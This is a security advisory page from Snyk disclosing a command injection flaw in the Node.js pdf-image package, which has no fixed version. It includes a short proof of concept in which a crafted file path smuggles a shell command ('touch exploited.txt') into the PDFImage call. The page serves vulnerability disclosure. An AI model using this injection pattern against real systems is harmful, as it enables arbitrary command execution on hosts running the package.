Command Injection Affecting pdf-image package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-PDFIMAGE-6424686
  • published12 Mar 2024
  • disclosed20 Feb 2024
  • creditMiguel Coimbra

Introduced: 20 Feb 2024

CVE NOT AVAILABLE CWE-78  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for pdf-image.

Overview

pdf-image is a library that provides an interface to convert PDF's pages to png files in Node.js by using ImageMagick.

Affected versions of this package are vulnerable to Command Injection through the PDFImage function, due to improper user input validation.

PoC

const pkg = require('pdf-image');
console.log(pkg);

const pdfFilePath = '" | touch exploited.txt "';
const options = {

};

const i = new pkg.PDFImage(pdfFilePath, options);

// This will create a local 'exploited.txt' file.
i.getInfo();

References

CVSS Scores

version 3.1